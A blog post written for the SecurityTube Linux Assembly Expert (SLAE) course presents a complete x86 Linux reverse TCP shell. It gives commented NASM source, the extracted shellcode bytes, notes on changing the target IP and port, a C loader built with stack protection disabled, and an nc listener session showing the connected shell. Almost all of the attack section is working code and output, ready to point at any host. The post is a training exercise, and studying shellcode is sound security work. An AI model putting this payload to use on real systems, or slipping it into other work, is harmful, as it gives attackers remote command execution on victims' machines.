This post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-581
Here it is my TCP Reverse Shell shellcode which aimed to connect to certain address on port 7771.
Reverse connection is usually used when server's firewall allow only restricted number of incoming connections (to ports 21, 80, 443, for example, which are already used and hence cannot be opened by another application), so there is no any possibility to accept an incoming connection.
In that case the only way to bypass such security restrictions to create an output connection to controlled server which is ready to accept connection from outside.
Here it is well commented shellcode for the purpose we described above:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | ; Title: Linux Reverse TCP Shell Shellcode ; Filename:reverse_shellcode.nasm ; Author: Oleg Boytsev ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Legitimate use and research only ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. global _start section .text _start: ;The first step is to create an endpoint for communication and return a socket file descriptor: socket(int domain, int type, int protocol) xor eax, eax ;zeroed eax mov al, 102 ;socketcall() xor ebx, ebx ;zeroed ebx mov bl, 1 ;net.h/SYS_SOCKET code xor esi, esi ;zeroed esi push esi ;push 0 into stack (protocol) push 1 ;push 1 into stack (SOCK_STREAM), man 2 socket push 2 ;push 2 into stack (AF_INET), man 2 socket mov ecx, esp ;move a pointer to arguments array into ecx int 0×80 ;run syscall mov edx, eax ;save socket fd into edx ;connect/man connect: int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen); mov al, 102 ;socketcall() mov bl, 3 ;SYS_CONNECT ;const struct sockaddr *addr/man 2 ip: address family, port, internet address push DWORD 0x815ba8c0 ;192.168.91.129 reversed and hexed push WORD 0x5b1e ;port 7771 push WORD 2 ;AF_INET mov ecx, esp ;move a pointer to struct sockaddr arguments into ecx push 16 ;addrlen 16 push ecx ;struct sockaddr pointer push edx ;sockfd mov ecx, esp ;move a pointer to connect() arguments into ecx int 0x80 ;run syscall ;DUP2/man dup2: int dup2(int oldfd, int newfd); Duplicate a file descriptor xor eax, eax ;zeroed eax mov al, 63 ;dup2() code mov ebx, edx ;save old fd in ebx xor ecx, ecx ;get 0, this is STDIN file descriptor int 0×80 ;run syscall xor eax, eax ;zeroed eax mov al, 63 ;mov dup2() code into al mov cl, 1 ;STDOUT int 0×80 ;run syscall mov al, 63 ;dup2() code mov cl, 2 ;STDERROR int 0×80 ;run syscall ;spawn a shell xor eax, eax ;zeroed eax push eax ;push NULL into stack push 0x68732f2f ;push reversed //sh into stack push 0x6e69622f ;push reversed /bin into stack mov ebx, esp ;copy pointer to /bin//sh string into ebx push eax ;push NULL into stack push ebx ;push pointer to /bin//sh into stack mov ecx, esp ;mov pointer to argv[] (/bin/sh, NULL) into ecx xor edx, edx ;zeroed edx (edx contain envp[]) mov al, 0xb ;mov execve() code into al int 0×80 ;run syscall |
Lets compile and link our code:
nasm -f elf32 reverse_shellcode2.nasm -o reverse_shellcode2.o
ld -m elf_i386 reverse_shellcode2.o -o reverse_shellcode2
And now we have to extract our shellcode from elf:
objdump -d ./reverse_shellcode2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x68\xc0\xa8\x5b\x81\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
How to:
change the port: …\x1e\x5b... - 7771
change the IP: …\xc0\xa8\x5b\x81 - 192.168.91.129
Let's load our shellcode into checker.c
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include<stdio.h> #include<string.h> unsigned char shellcode[] ="\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x68\xc0\xa8\x5b\x81\x66 \x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02 \xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } |
Compile our checker:
gcc -fno-stack-protector -z execstack checker.c -o checker
Before we run our reverse connect shellcode we have to open 7771 port on remote machine:
root@Platon:~# nc -v -l -p 7771 nc: listening on :: 7771 ... nc: listening on 0.0.0.0 7771
done..
and now we can run our reverse connect shell:
root@debian:/usr/local/src/SLAE/2_assigment# ./checker Shellcode Length: 96
Here is what we see on remote machine:
nc -v -l -p 7771
nc: listening on :: 7771 ...
nc: listening on 0.0.0.0 7771 ...
nc: connect to 192.168.91.129 7771 from 192.168.91.130 (192.168.91.130) 47074 [47074]
## After connection is established we can run any shell commands:)
pwd
/usr/local/src/SLAE/2_assigment
No comments:
Post a Comment